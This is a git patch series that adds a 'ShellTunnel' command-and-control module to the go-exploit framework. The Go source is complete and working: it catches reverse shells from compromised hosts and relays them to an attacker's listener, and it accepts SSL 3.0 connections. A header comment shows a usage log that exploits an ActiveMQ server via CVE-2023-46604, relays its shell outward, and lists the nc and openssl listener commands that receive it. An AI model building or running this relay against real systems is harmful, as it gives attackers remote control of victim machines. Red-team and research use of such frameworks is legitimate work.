From abb370b78b134b125e3f475a535143c491a9d164 Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Mon, 28 Oct 2024 15:57:20 -0400 Subject: [PATCH 1/3] Initial implementation of ShellTunnel --- .golangci.yml | 17 +++++++++-------- c2/factory.go | 10 +++++++++- docs/c2.md | 1 + 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/.golangci.yml b/.golangci.yml index 31163f4..e6c2160 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -57,7 +57,7 @@ linters: - importas - interfacebloat - intrange - - lll + #- lll - loggercheck - makezero - mirror @@ -93,8 +93,6 @@ linters: linters-settings: - lll: - line-length: 160 cyclop: max-complexity: 25 issues: @@ -111,10 +109,13 @@ issues: linters: - staticcheck text: SA1019 + - path: c2/shelltunnel/shelltunnel.go + linters: + - staticcheck + text: SA1019 + - path: cli/commandline_test.go + linters: + - staticcheck + text: SA1019 exclude-files: - - protocol/mikrotik/mikrotik_test.go - protocol/mikrotik/msg.go - - protocol/rocketmq/remoting.go - - protocol/payloads - - cli/commandline_test.go - - payload/wrapper_test.go diff --git a/c2/factory.go b/c2/factory.go index ebabe1d..ae05083 100644 --- a/c2/factory.go +++ b/c2/factory.go @@ -5,6 +5,7 @@ import ( "github.com/vulncheck-oss/go-exploit/c2/external" "github.com/vulncheck-oss/go-exploit/c2/httpservefile" "github.com/vulncheck-oss/go-exploit/c2/httpserveshell" + "github.com/vulncheck-oss/go-exploit/c2/shelltunnel" "github.com/vulncheck-oss/go-exploit/c2/simpleshell" "github.com/vulncheck-oss/go-exploit/c2/sslshell" "github.com/vulncheck-oss/go-exploit/output" @@ -35,6 +36,7 @@ const ( HTTPServeFileCategory category = 3 HTTPServeShellCategory category = 4 ExternalCategory category = 5 + ShellTunnelCategory category = 6 ) // Simplified names in order to keep the old calling convention and allow @@ -45,6 +47,7 @@ var ( SSLShellServer = internalSupported["SSLShellServer"] HTTPServeFile = internalSupported["HTTPServeFile"] HTTPServeShell = internalSupported["HTTPServeShell"] + ShellTunnel = internalSupported["ShellTunnel"] // We do not want external to be called directly because external // internally is not useful. ) @@ -60,7 +63,8 @@ var internalSupported = map[string]Impl{ "HTTPServeShell": {Name: "HTTPServeShell", Category: HTTPServeShellCategory}, // Insure the internal supported External module name is an error if used // directly. - "External": {Name: "", Category: InvalidCategory}, + "External": {Name: "", Category: InvalidCategory}, + "ShellTunnel": {Name: "ShellTunnel", Category: ShellTunnelCategory}, } // Add an external C2 to the supported list. Use this to integrate a new C2 @@ -99,6 +103,8 @@ func GetInstance(implementation Impl) (Interface, bool) { if implementation.Name != "" { return external.GetInstance(implementation.Name), true } + case ShellTunnelCategory: + return shelltunnel.GetInstance(), true case InvalidCategory: // Calling your external C2 as explicitly invalid is odd. output.PrintFrameworkError("Invalid C2 Server") @@ -126,6 +132,8 @@ func CreateFlags(implementation Impl) { if implementation.Name != "" { external.GetInstance(implementation.Name).CreateFlags() } + case ShellTunnelCategory: + shelltunnel.GetInstance().CreateFlags() case InvalidCategory: // Calling your external C2 as explicitly invalid is odd. output.PrintFrameworkError("Invalid C2 Server") diff --git a/docs/c2.md b/docs/c2.md index 793312b..0cb57f0 100644 --- a/docs/c2.md +++ b/docs/c2.md @@ -9,6 +9,7 @@ In `go-exploit`, the command and control (C2) provides very basic second stage a 3. *SSLShellServer* - An encrypted shell via a reverse shell. 4. *HTTPServeFile* - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload). 5. *HTTPServeShell* - An HTTP server that serves a user provided binary that will connect back to the exploit for `SSLShellServer` or `SimpleShellServer`. +6. *ShellTunnel* - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two. `go-exploit` also supports a `-o` option which means "The c2 is handled by an outside program so don't expect any type of connect back." From c3bfa5cfb8c1de98479013f79e4213ee3523c353 Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Mon, 28 Oct 2024 16:07:10 -0400 Subject: [PATCH 2/3] Added shelltunnel source :facepalm: --- c2/shelltunnel/shelltunnel.go | 237 ++++++++++++++++++++++++++++++++++ 1 file changed, 237 insertions(+) create mode 100644 c2/shelltunnel/shelltunnel.go diff --git a/c2/shelltunnel/shelltunnel.go b/c2/shelltunnel/shelltunnel.go new file mode 100644 index 0000000..268e521 --- /dev/null +++ b/c2/shelltunnel/shelltunnel.go @@ -0,0 +1,237 @@ +// shelltunnel is a dumb C2 that shuttles shell traffic between a reverse shell origin and +// a connectback server. It essentially allows for this setup: +// +// | Box 1 | | Box 2 | | Box 3 | +// | nc -l | <- shell traffic -> | shell tunnel | <- shell traffic -> | shell origin | +// +// In this way, go-exploit on box 2 can act as an egress for box on victim network. The shelltunnel +// will just shuffle data between the two boxes. This is appealing over something like a socks5 +// proxy or more advanced tunneling because it simply works and requires, for the exploit dev, +// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever). +// +// Usage example using an unencrypted reverse shell: +// +// albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 +// time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270" +// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false +// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270" +// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ" +// time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting... +// time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit" +// time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload" +// time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload" +// time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440" +// time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!" +// time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true +// +// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener +// at 10.9.49.12:1270. The shell there looks like this: +// +// parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270 +// Listening on 0.0.0.0 1270 +// Connection received on 10.9.49.192 51478 +// pwd +// /opt/apache-activemq-5.15.2 +// +// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so: +// +// ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen +// +// And the reverse shell can now be caught by openssl: +// +// parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270 +// pwd +// /opt/apache-activemq-5.15.2 +package shelltunnel + +import ( + "crypto/tls" + "errors" + "flag" + "fmt" + "io" + "net" + "strconv" + "strings" + "time" + + "github.com/vulncheck-oss/go-exploit/c2/channel" + "github.com/vulncheck-oss/go-exploit/encryption" + "github.com/vulncheck-oss/go-exploit/output" + "github.com/vulncheck-oss/go-exploit/protocol" +) + +type Server struct { + // the TCP listener that will accept all the connections + Listener net.Listener + + // the server address/hostname to tunnel the data to + ConnectBackHost string + + // the server port to tunnel the data to + ConnectBackPort int + + // indicates if we should use an encrypted tunnel to the server + ConnectBackSSL bool + + // indicates if we should be listening as an SSL server + SSLShellServer bool + + // The file path to the user provided private key (if provided) + PrivateKeyFile string + + // The file path to the user provided certificate (if provided) + CertificateFile string +} + +var ( + serverSingleton *Server + + ErrTLSListener = errors.New("tls listener init") +) + +func GetInstance() *Server { + if serverSingleton == nil { + serverSingleton = new(Server) + } + + return serverSingleton +} + +func (shellTunnel *Server) CreateFlags() { + flag.StringVar(&shellTunnel.ConnectBackHost, "shellTunnel.cbHost", "", "The server to tunnel the data back to") + flag.IntVar(&shellTunnel.ConnectBackPort, "shellTunnel.cbPort", 1270, "The server port to tunnel the data back to") + flag.BoolVar(&shellTunnel.ConnectBackSSL, "shellTunnel.cbSSL", false, "Indicates if the connect-back should use SSL/TLS") + + // optional for when SSL server is enabled + flag.BoolVar(&shellTunnel.SSLShellServer, "shellTunnel.sslListen", false, "Indicates if we should listen as an SSL/TLS server") + flag.StringVar(&shellTunnel.PrivateKeyFile, "shellTunnel.PrivateKeyFile", "", "A private key to use when being an SSL server") + flag.StringVar(&shellTunnel.CertificateFile, "shellTunnel.CertificateFile", "", "The certificate to use when being an SSL server") +} + +func (shellTunnel *Server) Init(channel channel.Channel) bool { + if channel.IsClient { + output.PrintFrameworkError("Called ShellTunnel as a client. Use lhost and lport.") + + return false + } + if shellTunnel.ConnectBackHost == "" { + output.PrintFrameworkError("Failed to provide a connect back host") + + return false + } + if shellTunnel.ConnectBackPort == 0 { + output.PrintFrameworkError("Failed to provide a connect back port") + + return false + } + + output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port) + + var err error + if shellTunnel.SSLShellServer { + shellTunnel.Listener, err = shellTunnel.createTLSListener(channel) + } else { + shellTunnel.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port)) + } + + if err != nil { + output.PrintFrameworkError("Couldn't create the server: " + err.Error()) + + return false + } + + return true +} + +func (shellTunnel *Server) Run(timeout int) { + // track if we got a shell or not + success := false + + // terminate the server if no shells come in within timeout seconds + go func() { + time.Sleep(time.Duration(timeout) * time.Second) + if !success { + output.PrintFrameworkError("Timeout met. Shutting down shell listener.") + shellTunnel.Listener.Close() + } + }() + + // Accept arbitrary connections. In the future we need something for the + // user to select which connection to make active + for { + client, err := shellTunnel.Listener.Accept() + if err != nil { + if !strings.Contains(err.Error(), "use of closed network connection") { + output.PrintFrameworkError(err.Error()) + } + + return + } + success = true + output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr()) + go handleTunnelConn(client, shellTunnel.ConnectBackHost, shellTunnel.ConnectBackPort, shellTunnel.ConnectBackSSL) + } +} + +func (shellTunnel *Server) createTLSListener(channel channel.Channel) (net.Listener, error) { + var ok bool + var err error + var certificate tls.Certificate + if len(shellTunnel.CertificateFile) != 0 && len(shellTunnel.PrivateKeyFile) != 0 { + certificate, err = tls.LoadX509KeyPair(shellTunnel.CertificateFile, shellTunnel.PrivateKeyFile) + if err != nil { + return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener) + } + } else { + output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate") + certificate, ok = encryption.GenerateCertificate() + if !ok { + return nil, fmt.Errorf("GenerateCertificate failed %w", ErrTLSListener) + } + } + + output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port) + listener, err := tls.Listen( + "tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{ + Certificates: []tls.Certificate{certificate}, + // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. + MinVersion: tls.VersionSSL30, + }) + if err != nil { + return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener) + } + + return listener, nil +} + +func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bool) { + defer clientConn.Close() + + // attempt to connect back to the serve. MixedConnect is both proxy aware and can + // produce an ssl or unencrypted connection so works pretty nice here + serverConn, ok := protocol.MixedConnect(host, port, ssl) + if !ok { + output.PrintfFrameworkError("Failed to connect back to %s:%d", host, port) + + return + } + output.PrintfFrameworkSuccess("Connect back to %s:%d success!", host, port) + + defer serverConn.Close() + + done := make(chan struct{}) + + // copy between the two endpoints until one dies + go func() { + _, _ = io.Copy(serverConn, clientConn) + done <- struct{}{} + }() + + go func() { + _, _ = io.Copy(clientConn, serverConn) + done <- struct{}{} + }() + + <-done +} From adbf18375f89e1f8300cd9ecf8114786d5243dfd Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Wed, 30 Oct 2024 10:23:45 -0400 Subject: [PATCH 3/3] Improve docs --- c2/shelltunnel/shelltunnel.go | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/c2/shelltunnel/shelltunnel.go b/c2/shelltunnel/shelltunnel.go index 268e521..8fe55be 100644 --- a/c2/shelltunnel/shelltunnel.go +++ b/c2/shelltunnel/shelltunnel.go @@ -1,11 +1,13 @@ -// shelltunnel is a dumb C2 that shuttles shell traffic between a reverse shell origin and +// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and // a connectback server. It essentially allows for this setup: // // | Box 1 | | Box 2 | | Box 3 | // | nc -l | <- shell traffic -> | shell tunnel | <- shell traffic -> | shell origin | // -// In this way, go-exploit on box 2 can act as an egress for box on victim network. The shelltunnel -// will just shuffle data between the two boxes. This is appealing over something like a socks5 +// Where 'nc -l' is basically any C&C you want that accepts reverse shells, box 2 is the attacker +// box, and box 3 is the victim. In this example, go-exploit on box 2 (attacker box) can act as +// an egress for the reverse shell generated on the victim (box 3). The shell tunnel will just +// copy the traffic data between the two boxes (1 & 3). This is appealing over something like a socks5 // proxy or more advanced tunneling because it simply works and requires, for the exploit dev, // no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever). //